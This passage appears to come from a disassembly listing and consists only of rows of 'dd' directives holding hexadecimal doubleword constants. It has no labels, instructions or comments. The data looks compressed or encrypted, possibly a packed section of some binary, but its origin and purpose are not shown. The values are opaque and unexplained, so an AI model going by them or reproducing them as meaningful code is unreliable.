		dd 779A4166h, 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh
		dd 7F888E00h, 0A614FAFDh, 784A0B10h, 0A804C8Fh,	6D0B735Fh
		dd 93054FF2h, 22EC8488h, 0F454B7C0h, 79F07906h,	0FCB76B0h
		dd 4E7930F8h, 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h
		dd 27E853BFh, 7C26B549h, 800D0F3Bh, 0CE57036Ah,	7FF64CDh
		dd 93536F30h, 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h
		dd 0A801B874h, 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h
		dd 0AA0D8Eh, 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh
		dd 8838002Ah, 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h
		dd 948DE406h, 3E179500h, 5A57CDB9h, 0CFC50312h,	0F455116Ah
		dd 3D2A4590h, 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h
		dd 0D02DC8A4h, 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h
		dd 70714130h, 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h
		dd 0B202D3D8h, 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h
		dd 0D20F3510h, 7C1F909Fh, 69C7B78Ch, 1CF093C2h,	0B8F403h
		dd 226ECE8h, 352504A1h,	52BCE00h, 0D5D3A79Ch, 0F7BE0011h
		dd 0E5971042h, 8203A54Ah, 480EF6C1h, 99D5C019h,	94E701BEh
		dd 6186662Ah, 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh
		dd 139B5A25h, 5772ACF8h, 0D6E46E00h, 99082788h,	0B24F0324h
		dd 3F8A491Fh, 1C714AE0h, 0EF225Ch, 0EF42BD9Ah, 3B09D2h
		dd 2ABCAC45h, 8F5BEE1h,	0BA38E407h, 0F8774307h,	0CB30B0D3h
		dd 352C883Ah, 362A009Dh, 34283D06h, 74399110h, 677200C0h
		dd 62431D70h, 64C30077h, 0A1286D66h, 5C036568h,	8A976318h
		dd 12F1A80Bh, 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h
		dd 1A786255h, 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h
		dd 0F99A156h, 9BE80435h, 2760A2E0h, 0C5007625h,	0DA49CC1Ah
		dd 7FE04890h, 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah
		dd 280421BFh, 0A8EAF7h,	0C58B0745h, 94CF77F6h, 41DC490Bh
		dd 75B18089h, 63F816h, 64535110h, 77712407h, 700073E6h
		dd 62752676h, 777C691Ch, 0F9900029h, 5C244A15h,	6B7F074Ch
		dd 57006F7Fh, 197BC728h, 0A02A1405h, 955689h, 24848913h
		dd 836AA372h, 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h
		dd 6BC48B7Eh, 0CC0256BAh, 2566B322h, 64D7867Ah,	49E700E2h
		dd 5614E350h, 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh
		dd 276AE45Ch, 21574509h, 9A07D751h, 0A050B72Ah,	0A907ED97h
		dd 0B2112B00h, 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh
		dd 0D9EE9200h, 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h
		dd 48125B7Ch, 0ED00A60Eh, 401F496Eh, 754A0047h,	13836653h
		dd 200107Dh, 0C16AF90Ch, 7FC317h, 4B8142EBh, 2C0AD520h
		dd 892F1301h, 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h
		dd 21072EE6h, 0E319920Fh, 31590840h, 31B97A2Bh,	0BFEA3648h
		dd 0D0856009h, 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h
		dd 2D501245h, 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h
		dd 0BB400293h, 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah
		dd 4AB90013h, 11F4ADD7h, 803908C4h, 4EEC4EC9h, 9884FB14h
		dd 10146A00h, 398F32FFh, 395BAB2Ch, 77404E1Dh, 0D920E52Ch
		dd 307A45h, 2D83DC05h, 0A10B40C4h, 2B6BE802h, 0E1A32341h
		dd 77F01879h, 0D4E00FC7h, 6CA0F82Ah, 5708E999h,	0E152F903h
		dd 782A8CEh, 50B814A4h,	5F9E40D5h, 64B8CA4Ch, 68F95E0Fh
		dd 332DA083h, 7AB4F001h, 58A7035Ah, 0B82005B5h,	0E02AAAD9h
		dd 0FC7050C4h
		dd 0A5093Bh, 34058EB4h,	24F397ADh, 4F16A4h, 0E80183B8h
		dd 39005E33h, 980A7448h, 161506h, 20135DD1h, 0EFC138EBh
		dd 2FFA2400h, 34CA2EA3h, 4479030Eh, 6454231Bh, 0E26E3988h
		dd 52DC7C00h, 0E4DAEA32h, 33560071h, 0FB35C810h, 4002C94h
		dd 34301C84h, 162238h, 0EFFA8068h, 28E21065h, 3732C400h
		dd 0EA9DE860h, 432E00C0h, 74276E61h, 6C00201Dh,	0A64DA6Fh
		dd 3FC41A77h, 28731E58h, 18B22C3h, 5A9EFC08h, 0EB540584h
		dd 0EC1811E9h, 8D01801Ch, 0F0524F0Ch, 88C05C15h, 83420168h
		dd 0F1750AFAh, 7EC06EBDh, 6C9ED5h, 0FF558817h, 82297F3h
		dd 0EC832500h, 10111C93h, 5C01750Ch, 213B7F6h, 0C34C002Dh
		dd 0A80D03D6h, 18D38400h, 22155F2Fh, 6A6B0320h,	8AA2D55Ch
		dd 0CFA132A3h, 37F2F4AFh, 4700EAB8h, 8524F710h,	1482C7h
		dd 0CB560B23h, 0C47FBE4Eh, 0C07B0300h, 48C39428h, 1B2500C8h
		dd 0B00C5793h, 473B3140h, 224E0053h, 8126A01Ch,	0C3511FBCh
		dd 766DC00Bh, 482F680Ah, 1BDEFC01h, 2041A452h, 8D3BE8h
		dd 0B8E72490h, 89F89F5Eh, 8A0FFC30h, 0AD6D22h, 77C90576h
		dd 833AFBC4h, 9DF00805h, 0B240E8D4h, 1130222Ch,	7C097234h
		dd 9F370744h, 2079D5EAh, 0C5B55DF8h, 0C3647200h, 8870B7AAh
		dd 5A7C36h, 0F89838FBh,	0D9ED63E9h, 670E8900h, 87F8310h
		dd 0EF9200DCh, 0EB755AA9h, 5DFAC244h, 0B2A8DB00h, 0B41B2C34h
		dd 431C0736h, 4F8E7630h, 0E0380979h, 0B4009086h, 3EE8B0Eh
		dd 8482EDh, 535718EFh, 2019320Bh, 0FCA41400h, 0CDDE752Ah
		dd 5E40ED4h, 2C201021h,	34443088h, 0EB382000h, 0DA7E9732h
		dd 84F000C4h, 0B4A2EF46h, 0AA00073Dh, 0B7B63FC2h, 482A4Dh
		dd 31918757h, 0C39ADFA5h, 770DA900h, 49C2C6E9h,	0FC2E000Ch
		dd 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh, 0F037B1B5h, 7A9D5443h
		dd 0A1978200h, 0E4BB8335h, 72321D2Fh, 7BA6009Fh, 95431518h
		dd 3A24223Ah, 1F2C3C8Bh, 7E404981h, 4C09A9ABh, 40FC8Dh
		dd 1FF752F5h, 0B46B76FFh, 7B81100h, 7A31BC4Bh, 836C0014h
		dd 0FF09B068h, 0E0003D5h, 0E0987ED6h, 0EA508D63h, 12723892h
		dd 2B2C6B00h, 7DB68E8h,	0D55B3B00h, 6C0251ACh, 0D4055810h
		dd 0F825E003h, 33D82A78h, 5E019722h, 7707C4E7h,	0E430EDD0h
		dd 13AD002Ch, 0B3034F05h, 0D678A226h, 59957700h, 50408ABBh
		dd 9DAC00C7h, 0C42C9B5Dh, 4400E6EBh, 0AA4F453Dh, 1CB0DE92h
		dd 801F645Fh, 8E00CB4h,	0DC1F16B8h, 26002C2Ah, 69A6FAFCh
		dd 68A0032h, 0EEF17D50h, 5A00EB99h, 20D803BCh, 40C00Ch
		dd 5DFEC4D4h, 1DF8C85Bh, 639D7C00h, 62046942h, 16FA009Bh
		dd 3640C611h, 0B1002266h, 63144D67h, 38BC5F68h,	1A808D3Ch
		dd 0A3F3AC3Eh, 60E62FBh, 8029BB36h, 0F4531B6Ah,	43141D10h
		dd 0ED5CE3Ah, 13FCBE0h,	0F0037D89h, 0CDAA0FB0h,	42AB9085h
		dd 4EC0128h, 17BF39EBh,	0E488E052h, 63844407h, 0B2E0AAE0h
		dd 0F379A27h, 537F5FBAh, 0F081A947h, 8BF3C3B0h,	89E4F007h
		dd 9050F6F8h, 0E6720A78h, 41020048h, 646D69A9h,	0BD0033EEh
		dd 0ADDCB368h, 22EA54h,	0FC44D815h, 7198A5D4h, 0A18F000h
		dd 5EBD7943h, 0D0C80122h, 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h
		dd 9B177293h, 0FB5F0024h, 3B052BA3h, 730E0C58h,	250181EFh
		dd 7A871942h, 9CC0B544h, 2F3031C7h, 0C37ED92Bh,	3858BF00h
		dd 0E636A6h, 0FDBEBA70h, 69ABD42Fh, 78D80D00h, 4F71CCE8h
		dd 0BC8D2CEAh, 8BF00032h, 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh
		dd 21E82AE0h, 9D430712h, 90C2C788h, 18E7E4AAh, 1C750500h
		dd 45724019h, 0BEBC0117h, 0C9744792h, 8E89305Eh, 1405CC2Ch
		dd 1345F500h, 0EC6A6093h, 0F762018Ch, 25F25886h, 0B9830B9h
		dd 4F071EEAh, 0AEE83EFFh, 9E369CA0h, 0EC200E4Dh, 5EE02384h
		dd 75AD19A9h, 1741090Fh, 70038557h, 29DACC0h, 76DC00E8h
		dd 8199101Ah, 0C01DFDF3h, 8B005B07h, 0D619917Fh, 94090022h
		dd 0E76AA888h, 2901A263h, 0F5A75DF3h, 4AC41D8Dh, 68530081h
		dd 0AD6F8A4h, 94287506h, 0CD00E954h, 0F210B329h, 22CD5A7h
		dd 34970D31h, 740F649h,	9B3CCEBCh, 20A28094h, 0E17D41Eh
		dd 388700C5h, 3B56422Eh, 0D60028C8h, 1BD29990h,	9876572Dh
		dd 4B100059h, 0A5583553h, 0E3000B44h, 523B2C3Dh, 179382Ah
		dd 0F469BD16h, 0E45E1739h, 8000BA0Bh, 5261C91Fh, 0EA6FF72h
		dd 3D7B2416h, 65AB7160h, 6660233Eh, 0C12BC6E8h,	0C3FCE4h
		dd 1653F2D4h, 2F7D044Ch, 8010973Eh, 30A47CBAh, 1BD395Fh
		dd 0F886B774h, 0EC66F7B2h, 24003E96h, 135EEC21h, 16878Ah
		dd 0FA23D52Fh, 36E8A952h, 58787D90h, 0F2549B00h, 84A30277h
		dd 0B96D001Fh, 0AE37FB79h, 3B012711h, 2887A2ECh, 4DF0465Eh
		dd 5DAD00B9h, 0B114CE5Ch, 9D0065A1h, 429AC8Eh, 6A13DAh
		dd 0A662E756h, 0A4D7471Fh, 5FDF2Dh, 0A062C7Bh, 15E8EDCBh
		dd 0C6386084h, 0C6647DE0h, 912871Fh, 0B6EBCD07h, 0FFCFFBF0h
		dd 243C00F9h, 2E7FDA91h, 4D5CD293h, 3F070089h, 0B88B08D5h
		dd 77A41DDFh, 48A680ABh, 0D011AFA3h, 26B9071Fh,	8458BB40h
		dd 3768EB5h, 0FF6B8FE5h, 17A0C321h, 743AE247h, 78A40009h
		dd 405BC083h, 597AF3h, 558AC203h, 74B81820h, 28754Ch, 641C9C08h
		dd 15D8B97h, 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h
		dd 0BA5C1347h, 32DD3A0Ah, 88730D83h, 8A80ED33h,	8DFE2F44h
		dd 340571Ch, 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh
		dd 68D5200Bh, 0D0978Eh,	0FD9E5E4Ch, 0F977C4D9h,	96EC1600h
		dd 0BE41FC55h, 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh
		dd 2D974489h, 0CB3D6Ch,	696A2188h, 0F1FA1612h, 1F4AC800h
		dd 3A7FF95Bh, 97150089h, 748F2E70h, 3006860h, 0ED754DF0h
		dd 4A9142h, 0FD2F1AF9h,	627D7E9Bh, 420358h, 46204788h
		dd 89B617h, 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h
		dd 0A5E947EDh, 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h
		dd 1CC020FCh, 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h
		dd 0F642AA80h, 8A3E957Ah, 0BB3C3Eh, 0D321A2DEh,	0F67D3DF7h
		dd 0EF540077h, 9DAF8AFAh, 2976C24Ah, 671C1100h,	0A5BA582Ch
		dd 68500762h, 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh
		dd 7730E453h, 9117B28h,	5623F4B7h, 0B2622A8Fh, 0D0E01EF8h
		dd 4C76FCC8h, 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h
		dd 3F71A108h, 0F120AC00h, 510C3730h, 89660013h,	82F0EBC1h
		dd 49980901h, 7F59E012h, 0B39DE003h, 3E90F8CFh,	239A0318h
		dd 2879AF8Bh, 104593C0h, 0D127E00Eh, 4203800Eh,	33F7024h
		dd 254FF066h, 138896D5h, 1C004522h, 270520A8h, 0FF1455h
		dd 0D55A56A4h, 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h
		dd 0EDCD600h, 0D0033C50h, 83C2EC3Bh, 9055FE78h,	7C408825h
		dd 0F2EE0044h, 10C36003h, 4100D5E8h, 7B78F6EAh,	77FB0220h
		dd 0F8E90033h, 7D9A5FCh, 6EC01609h, 71E8F1E0h, 23E0E23h
		dd 0F826112Fh, 0B900EE21h, 60751735h, 5CCEEB8h,	9E80E56h
		dd 4D9880D7h, 0EB00A67Ah, 0F0752283h, 0C3312Bh,	3BD3A0D0h
		dd 327736F2h, 0E7B82000h, 875C48Fh, 0E30E00EFh,	122373D1h
		dd 53005079h, 3C4F22AEh, 2A90D4h, 2941A991h, 0D15110A5h
		dd 4A384700h, 5C2B590Dh, 9511000Ah, 2ABEE845h, 0C000715h
		dd 4C78346h
		dd 7053AF1h, 820F1A6Dh,	707A4051h, 0BC3C6FD7h, 5200791Ch
		dd 0EF143065h, 0E4D0D40h, 0E3DB3110h, 0D0F71E02h, 85D275h
		dd 0D8FA18F2h, 5408B324h, 1E1718E1h, 40CBFEDBh,	0EAE6E297h
		dd 5F001EA4h, 72F8D4B5h, 0C4597Fh, 0C026FAB2h, 0E108B8BBh
		dd 48743B00h, 0C6DE3780h, 85CA5803h, 7AA74C72h,	2BCD0379h
		dd 10EB1ABBh, 6A0683F5h, 0D73529B0h, 5CA5E200h,	14F47970h
		dd 2462F6EEh, 0B59428h,	97D103B9h, 4000806Fh, 0FA4AEBC7h
		dd 1AC05Dh, 77C33BD9h, 0F23F9220h, 0ECF3CF00h, 0F7901773h
		dd 2BD3011Dh, 105D65D0h, 8BBD20B4h, 3A61EB4Ch, 201E00C2h
		dd 521572C3h, 537A3E48h, 2157F807h, 0EF64F0E2h,	0A000EEEh
		dd 0B075C985h, 390561Eh, 0D8DBB5F3h, 0A788DECBh, 8E12225Dh
		dd 0B1F4210h, 9184F740h, 80EA82h, 0FF88325h, 48202CB8h
		dd 0F0950200h, 0E6433C9h, 50A75C3Eh, 0D600394Ch, 407E0CE9h
		dd 114CFF02h, 80F0756h,	91F6482Eh, 3737566h, 0E888BA8Ch
		dd 0F3E8DFA3h, 44C136AFh, 27D49A6Fh, 460BFCh, 56AB2C8Dh
		dd 0B6E9434Ah, 23028301h, 80C3692Dh, 1932C280h,	0BC2042C7h
		dd 0E19D2C01h, 294A8D4Fh, 208057DAh, 94A958F4h,	0B006DC3Ah
		dd 2E5C34E9h, 8776032Fh, 714A0CAh, 21C7ACB8h, 0F048BA76h
		dd 0A3A51E5Ch, 172061C0h, 0FF64845Ah, 5E85F8h, 0BBB3274Ah
		dd 2E4BEC59h, 0C4102307h, 9A102B74h, 344975h, 143A7E39h
		dd 27C3950Fh, 9421AF00h, 22F19DCAh, 93371F5Bh, 0BC6380BFh
		dd 4F52740Fh, 1EA23907h, 8880103Dh, 16971Ah, 0C27043B4h
		dd 0E9BBE837h, 125A7100h, 0E8FEF50h, 0D868001Ch, 0B3EA42D3h
		dd 0A44CB421h, 0B12002Ch, 702EDD1h, 0E2B90083h,	58694A6Ch
		dd 0C5005F28h, 5D898F5Ch, 7CF9531Fh, 79A000A8h,	168E4212h
		dd 4000738Dh, 0E86D28EBh, 30E18h, 468A109Ch, 6492074Fh
		dd 0C7215400h, 896FD2FFh, 269000ACh, 2481F505h,	7F00EA80h
		dd 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h, 0A43E0ABh, 47B00270h
		dd 9005821h, 6AF8E2E9h,	1616851Fh, 1553C08h, 0F2064369h
		dd 0A5EEE012h, 0C9032707h, 0C00687Dh, 0B0F3EC80h, 6750022h
		dd 12F3AF8h, 0F0085D7h,	31222F4h, 5CC3FD3Bh, 391C4A1Dh
		dd 24CE4043h, 2DD8E83Dh, 3D12EA26h, 47AF4907h, 0F1AE0260h
		dd 0C8040054h, 22289121h, 3A00442Fh, 30488A58h,	0EA1B8Bh
		dd 3607A133h, 7D162CF1h, 7BEA03FAh, 0B215200h, 88F0C464h
		dd 5E4789Dh, 0B1CF71B8h, 8E49C097h, 20009DBh, 8078BEFCh
		dd 424412h, 0FE79B7E4h,	387450DAh, 1353126h, 9992803Bh
		dd 0C2D4717Eh, 24DD005Bh, 0EBAE3BA0h, 41002CC4h, 823CB988h
		dd 5C89CC29h, 63000A65h, 0F3E7B0FAh, 680035A4h,	0A2AEB5DCh
		dd 0D15ED4h, 8C38600Bh,	56C3E850h, 8600C1E8h, 13B9E089h
		dd 8B5B80h, 0FBC28110h,	0A104D614h, 3BDBDF38h, 774900D2h
		dd 0E035FFEEh, 40655C4Bh, 45A4AF00h, 0E989619Ah, 5A046800h
		dd 0AB505D28h, 87920758h, 872449A6h, 86B25134h,	3C71F02Bh
		dd 7B184D07h, 0C11078A4h, 1D1CCC66h, 143EF8h, 4ED70889h
		dd 83006C64h, 2F22098h,	112FC53h, 1C2693F4h, 0F4E7AA85h
		dd 73013B1Fh, 8819826Dh, 0C6C81413h, 0C8AB00F7h, 584A4363h
		dd 0B01F68EEh, 0CC808732h, 6238788Dh, 0E346074Bh, 0CFAB1875h
		dd 4E405861h, 69C9C8CBh, 3E6A5F00h, 2437C48h, 18271E99h
		dd 82007C55h, 6132A98h,	4000D7FFh, 8CC3FE11h, 0AD0343h
		dd 0F8A83D16h, 2105472Bh, 7EA65400h, 0E90DE790h, 5CC4002Ch
		dd 5219BCDAh, 4A00C0EFh, 3684CAFh, 24A4A0h, 0C2E8D649h
		dd 28B40743h, 0DD12B501h, 45B85061h, 0E9641E0h,	8AC2379Ah
		dd 0D305A6A1h, 7048FDCAh, 0F0324C3h, 4AC894F7h,	8810DB7Fh
		dd 0F0FD5F9Fh, 49D00F65h, 0A9230814h, 1C0408Ah,	0F076034Eh
		dd 93382B00h, 0B513E67Dh, 1FCD7C82h, 9F3D81F8h,	1C80FA2Ch
		dd 7A6E883h, 24E279FAh,	32756600h, 4F84D74Eh, 0FFD50097h
		dd 0B4EA3CC4h, 45003417h, 52442168h, 313E065Bh,	4A7854C1h
		dd 0FD2CC3Ah, 0A69C8500h, 0DB9A52A7h, 0FCE200D9h, 4BA14634h
		dd 2600EB54h, 0C32BA24h, 0EECC0850h, 0F1B207DCh, 9464594Fh
		dd 60098010h, 23A8FCBh,	0A1F800A8h, 68672029h, 4FC62C28h
		dd 0A9AA01ECh, 0F089D7CCh, 0CF00440Ah, 0B7DC16CEh, 8A0E34h
		dd 9A5C217Bh, 74D017D3h, 8206A101h, 0C087E56Ch,	0D8C7D8h
		dd 52B1D1ECh, 0E9C34005h, 5300257Ch, 4B22ABC2h,	17E7524h
		dd 5A32894Eh, 0E8D0E419h, 297F27A3h, 6AB2F600h,	0A6CA5EA7h
		dd 0F4AA0004h, 0BBB06DAFh, 0FA004B79h, 0DC4F34FDh, 0FB577D5h
		dd 1DC0CC57h, 41C26CEFh, 5FC04DC2h, 83009872h, 62C6B0CAh
		dd 3319AFh, 0E8C7042Ah,	0D40D5AB8h, 8074FF3Dh, 5710DA60h
		dd 0F883B903h, 68D00D8h, 8614FD95h, 3500BBD2h, 311D892Bh
		dd 2541B9h, 745106A3h, 4E525B03h, 0B293D200h, 1A8F73E8h
		dd 0D75313DDh, 699C00BFh, 0CD65C26Dh, 0F4853B00h, 9149C48Dh
		dd 30E860h, 739EB292h, 786E7DCBh, 0FAE87000h, 9718B059h
		dd 0F47B1EC1h, 83BD872Fh, 4840F18Dh, 0E4ED600Dh, 0A35C1403h
		dd 0B988A916h, 56309363h, 0D6970012h, 106A6132h, 607C7DB9h
		dd 86901C00h, 89B2EC5h,	0DF81014Ah, 89A1919Eh, 0CC7AE0D3h
		dd 220A5360h, 11C3E7h, 31642F0h, 41EC1215h, 0C76A2300h
		dd 0B4DA468Ch, 17C00019h, 744A423Ah, 800A80Bh, 3E4C754Bh
		dd 3D9B73h, 5D4E8CADh, 0C519EC6Eh, 24145A00h, 0A694C125h
		dd 83E002h, 0DC97FC6Dh,	51702CC3h, 69AF000h, 0DE813EF4h
		dd 1DE90002h, 29508E25h, 6F00754Fh, 94526796h, 3809BD69h
		dd 0A400EA2Fh, 0D87C0782h, 8039E9C4h, 74B0097Dh, 4D560021h
		dd 92DB91h, 32EC8F8h, 1150C329h, 5F67440Fh, 5D012005h
		dd 3DD5C7h, 260DDAE6h, 824998F5h, 8774A01h, 0D4637550h
		dd 0C8D01871h, 1906002Bh, 0E7BCEAC6h, 55006F4Bh, 53705B86h
		dd 51F06Bh, 0ABC85E75h,	0D8E5A9B8h, 8500D177h, 4CF2DCEAh
		dd 897458h, 0FC66EBD4h,	5D719052h, 85AC8000h, 6A2EC922h
		dd 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h, 689F300h
		dd 4C418CAFh, 42670075h, 3399CB1Fh, 0C438C2EFh,	3114804Ah
		dd 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh,	1A45DA00h
		dd 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah, 7B05F569h
		dd 0E4246EBh, 27754D6Fh, 0D5B00017h, 0A14A858Dh, 17EBF801h
		dd 9A92FEB3h, 77A3D9D8h, 0AB4B0367h, 94327866h,	0EED5C490h
		dd 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh, 94D12E7Dh
		dd 2DE18100h, 0AC13B27h, 0CA033D02h, 89080700h,	1E907519h
		dd 0C2D37D00h, 20449DBEh, 95C11D05h, 8BD0CEA3h,	6109C380h
		dd 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h, 0E41480D7h
		dd 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h, 45C63842h
		dd 0C4F964h, 83028485h,	60D78A89h, 0FE508200h, 3C70228Bh
		dd 0E754009Dh, 0F0EACE64h, 530075DBh, 0CC88FF17h, 7E38E9E2h
		dd 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h, 2660660Bh
		dd 0B0F00Ch, 25FA453Bh,	5CF00D74h, 406C21Fh, 21A9DAC0h
		dd 168BDFh, 50176655h, 19458940h, 0B70FF200h, 33310308h
		dd 0E94300CCh, 3A3B0A60h, 741E3546h, 36000E67h,	261F0954h
		dd 0A03F0095h, 4F665001h, 0B008102h, 0A6F2B752h, 3032FA53h
		dd 755E0D45h, 0A9076241h
		dd 2AD8A2B9h, 64178ED0h, 1F20047h, 4EEC8238h, 270134F3h
		dd 5DC04A8Fh, 1BCD2E6Bh, 1D99DCh, 0EDA5FA29h, 0FBBB6001h
		dd 2481660Bh, 1980FF7Dh, 258A2976h, 0A00074F6h,	530DE1FFh
		dd 6731579Ch, 50F248D9h, 45B398Eh, 1CF4E83Bh, 6A80803Fh
		dd 4E268D0Ah, 4F740008h, 0ED8C03E7h, 7D00E91Eh,	3C51AEE0h
		dd 0F1250F6h, 23AB4056h, 9F53D20h, 0FC0101EAh, 22FEC9B3h
		dd 0BE88565h, 3AFF450h,	7FF64269h, 20E70E32h, 3C65BE58h
		dd 0E7215317h, 0DD121FFFh, 45CF0011h, 13BE0E62h, 0B0D47100h
		dd 8C9D4792h, 3CA4070Ch, 5090A303h, 83D5ECBDh, 0AC68501h
		dd 52C77853h, 0F854ECh,	50908603h, 4D07E924h, 83376400h
		dd 8A84AD2Ah, 91480543h, 0C09B124Ah, 30413201h,	0A8FEA973h
		dd 42BAB800h, 15730ADCh, 0C93D0045h, 0DA4B5A1Ch, 57004D82h
		dd 3C47E194h, 0CFDC21h,	44D88871h, 0EE39FEC7h, 1AE04A30h
		dd 0C55E9h, 9348949Bh, 0B681D291h, 75393Eh, 0AA51F527h
		dd 4F42EDh, 0E31224A6h,	0F687477Ch, 10939504h, 7C8014BFh
		dd 740A25Ah, 0E802F49Dh, 0F5687791h, 0F856C0DBh, 0D31C25FEh
		dd 28DF582Ah, 89F20380h, 2CE4542h, 5C261CC0h, 405D217Eh
		dd 183CDC18h, 10352350h, 5F00C212h, 0A18FC32h, 60C48554h
		dd 0D031C4D4h, 873C7E1Bh, 4DAF8190h, 0EE41058h,	121760E4h
		dd 0BD90ABCh, 0B68F0882h, 3740EBA0h, 523FD655h,	344380A5h
		dd 0FC570DDBh, 867F00A8h, 104512B5h, 0CC03FA91h, 0CA73B817h
		dd 6BE000E2h, 1182DE4Ah, 55001F62h, 0A48A3E19h,	13399Fh
		dd 0B2EBFB54h, 9CB8C26Ch, 81D40938h, 2978064Fh,	58619E11h
		dd 0F3AFC8h, 0F7DC2074h, 4CFDE002h, 54112300h, 83D24222h
		dd 0D44800C1h, 0C925A7F2h, 0E2021975h, 74A47F72h, 8EC7E0FBh
		dd 71F70EB4h, 85E02CF0h, 0E387831Ch, 500002F2h,	0FA16E98Ah
		dd 3F930BD1h, 851F8DC3h, 4B14032h, 0A83A1029h, 0A27D3Bh
		dd 631277Eh, 3C432Bh, 530C63A1h, 5D93CA24h, 0E01F1FE4h
		dd 0FE3BF8h, 0B2830F28h, 308D8Bh, 0E81E4053h, 6B3C1219h
		dd 1876B3F6h, 4F07F400h, 8A05C283h, 5F3203F5h, 0FFFA9629h
		dd 8625DFB0h, 6A0033FAh, 0F1450B0h, 189F87h, 6F22832Dh
		dd 5940EFF7h, 0BC895407h, 0FAB04975h, 0D1C680h,	83740567h
		dd 724FBA68h, 0F021D605h, 0F780753Bh, 488063h, 74182D7Bh
		dd 0C69F3F3Ch, 8A424B00h, 0D241652Ah, 478100EFh, 17C5625h
		dd 6800625Bh, 12F03918h, 1DBDDA1Ch, 0C07FC9A0h,	564767B6h
		dd 6A4CFE15h, 340015Bh,	9EC75281h, 772F9CCCh, 0BE053E86h
		dd 44CA5900h, 8475F8A7h, 0FC1C400Bh, 0DF3A0953h, 142B080h
		dd 743CC23Bh, 226C000Ah, 0F4CF286Eh, 4DE9009Fh,	254013A9h
		dd 743AE448h, 0F74A829Dh, 60553899h, 0EB75949h,	611DE1ABh
		dd 51889A38h, 790B6603h, 0C88FC743h, 714A610h, 3758E1A5h
		dd 0E4069159h, 8EBD4092h, 4D786599h, 0EA058DECh, 0B8E0A02Fh
		dd 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h, 21E6AD71h, 0CB9A60CBh
		dd 0DBC04D00h, 7C2FBADCh, 63760022h, 5D50EA53h,	691FC973h
		dd 5B1FFC96h, 97B89880h, 1F86D71h, 679D18C2h, 0E0E22D24h
		dd 7C7F1CD7h, 0ADD45C04h, 4980CDD8h, 74F45969h,	0A5270379h
		dd 8867DD25h, 12D865ABh, 5513B2ECh, 20B8D0E5h, 1797EA00h
		dd 0F8A53D23h, 15286728h, 0CCB3DF01h, 484666C4h, 2F55DCh
		dd 99C76806h, 0AB6E1597h, 54B34B33h, 89DDD8CBh,	0A36800CFh
		dd 0DA90E805h, 0B001E2Dh, 71D3A009h, 78F25274h,	12FEB4h
		dd 0E15AE659h, 708EC6Bh, 0C71C6300h, 0BF0244F6h, 0C57284h
		dd 0E28CB895h, 573FC9E4h, 13B07E00h, 1541FF4Dh,	7B3C0040h
		dd 273B9591h, 7800CB69h, 7EFDDA92h, 90C916h, 0D302D088h
		dd 49F3D69Dh, 18000574h, 955B1C36h, 24588496h, 28FFF01h
		dd 4E1E2B2Eh, 0C1574740h, 2894200h, 598CF986h, 3FFCFAh
		dd 78C89F0Ah, 9A4D1025h, 0FD45140h, 53B05297h, 4009EB60h
		dd 3500DE2Ah, 8CEEF992h, 1F5888FDh, 43A63C24h, 2149B11h
		dd 0D15298D0h, 8034F03Bh, 0B948A2FFh, 0FFC097Bh, 0E946DADCh
		dd 4D000D3h, 0D840FD2h,	39EE0200h, 28ECC336h, 768390F6h
		dd 0A350008Fh, 1466D4E2h, 3A00D845h, 0DB138D16h, 39A53EBh
		dd 0BBD3FBACh, 7BE0B603h, 3C00E340h, 0AB866711h, 0E27D049h
		dd 0CF467107h, 801DE800h, 4D7F0326h, 59C11700h,	62478CD5h
		dd 3CD91DB6h, 58CE45D2h, 6F2A8066h, 103BBF86h, 233EAC45h
		dd 4B074703h, 0B4C7E825h, 8230014h, 0A9A1F9CFh,	70F50212h
		dd 2B2C1CBAh, 881D3706h, 1BAC2040h, 0E3D01h, 265A366Bh
		dd 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h, 453055Dh, 0E1D79C4Ch
		dd 333E818h, 0A4140800h, 0C415BB86h, 582BF01Dh,	5003835Dh
		dd 78AD0364h, 0DEB014EBh, 0F1071EA8h, 1832825Eh, 0C04B050h
